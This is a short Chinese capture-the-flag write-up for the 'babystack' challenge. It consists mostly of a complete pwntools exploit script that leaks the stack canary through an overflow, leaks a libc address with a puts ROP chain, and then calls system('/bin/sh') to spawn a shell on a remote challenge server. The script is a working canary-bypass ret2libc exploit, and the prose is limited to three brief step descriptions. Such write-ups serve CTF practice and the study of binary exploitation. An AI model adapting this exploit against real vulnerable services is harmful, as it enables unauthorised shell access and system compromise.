exp 脚本
- 运用栈溢出泄露 canary 地址。
- 栈溢出运用 puts 的 rop 泄露 libc 地址。
- 再次栈溢出 rop 执行 system('/bin/sh')。
from pwn import *
#context.log_level = 'debug'
io = remote('node3.buuoj.cn',26000)
elf = ELF('./babystack')
pop_rdi = 0x400a93
ret = 0x400a2a
libc = ELF('./libc/libc-2.23.so')
io.sendlineafter('>>','1')
io.sendline('a'*(0x90-0x8)) # canray 最低位的 \x00 被覆盖为 \n
io.sendlineafter('>>','2')
io.recvuntil('a\n')
canary = u64(io.recv(7).rjust(8,'\x00'))
payload = 'a' * 0x88 + p64(canary) + 'a' * 0x8
payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(0x400908)#注意进入主函数会开启另一个循环
io.sendlineafter('>>','1')
io.sendline(payload)
io.sendlineafter('>>','3')#退出当前循环,也就是回到一开始的循环
io.recv()
puts_addr = u64(io.recv(6).ljust(8,'\x00'))
libcbase = puts_addr - libc.symbols['puts']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()
payload = 'a' * 0x88 + p64(canary) + 'b' * 0x8
payload += p64(pop_rdi) + p64(binsh) + p64(system)
io.sendlineafter('>>','1')
io.sendline(payload)
io.sendlineafter('>>','3')
io.interactive()
![](https://img2020.cnblogs.com/blog/1271708/202003/1271708-20200304170907792-1820887714.png)
内容来源
others_babystack